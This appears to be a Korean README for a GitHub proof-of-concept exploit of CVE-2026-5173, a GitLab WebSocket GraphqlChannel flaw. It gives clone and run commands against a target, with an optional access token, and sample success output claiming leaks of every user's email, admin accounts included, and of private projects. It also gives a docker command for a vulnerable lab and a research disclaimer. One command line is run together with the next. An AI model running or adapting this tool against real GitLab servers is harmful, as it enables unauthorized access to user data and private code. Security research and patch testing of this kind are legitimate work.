
CVE-2026-5173
CVE-2026-5173은 낮은 권한의 인증된 공격자가 GitLab의 WebSocket(/-/cable) 엔드포인트, 특히 GraphqlChannel을 통해 제한된 백엔드 메서드를 호출할 수 있게 합니다.
이로 인해 민감한 데이터 노출(높은 기밀성) 및 제한된 무단 작업이 발생할 수 있습니다.
패치 적용 버전: 18.8.9 • 18.9.5 • 18.10.3
python3 CVE-2026-5173.py http://target:8080git clone https://github.com/0xBlackash/CVE-2026-5173.git
cd CVE-2026-5173
python3 CVE-2026-5173.py http://your-gitlab-lab:8080
토큰 사용 (권장):
python3 CVE-2026-5173.py http://target.com:8080 -t glpat-XXXXXXXXXXXXXXXXXXXX
성공 출력 예시:
[+] CVE-2026-5173 PoC v2 - Target: http://192.168.1.100:8080
[+] WebSocket connected
[+] Subscribed to GraphqlChannel
[*] Testing method: currentUser
[SUCCESS] Possible unauthorized access via 'currentUser'!
→ Response: {"result":{"data":{"currentUser":{"id":"gid://gitlab/User/123","name":"Normal User","email":"[email protected]"}}}...
[*] Testing method: users
[SUCCESS] Possible unauthorized access via 'users'!
→ Response: {"result":{"data":{"users":{"nodes":[ {"id":"gid://gitlab/User/1","name":"Admin","email":"[email protected]"}, ... ]}}} ← This leaks all users including admins!
[*] Testing method: projects
[SUCCESS] Possible unauthorized access via 'projects'!
→ Response: long list of ALL projects (even private ones you shouldn't see)
python3 CVE-2026-5173.py <target> [options]
Arguments:
target Target URL (e.g. http://gitlab.example.com:8080)
-t, --token GitLab Personal Access Token (API scope)
-h, --help Show this help message
docker run -d --name gitlab-vuln \
-p 8080:80 -p 2222:22 \
gitlab/gitlab-ce:18.10.2-ce.0
그런 다음 일반 사용자를 생성하고 PoC를 실행하세요.
보안 커뮤니티를 위해 ❤️로 제작됨
유용했다면 저장소에 ⭐ 스타를 눌러주세요!
면책 고지: 제작 당시 공개된 상세 익스플로잇은 없었습니다. 이는 연구용 PoC입니다.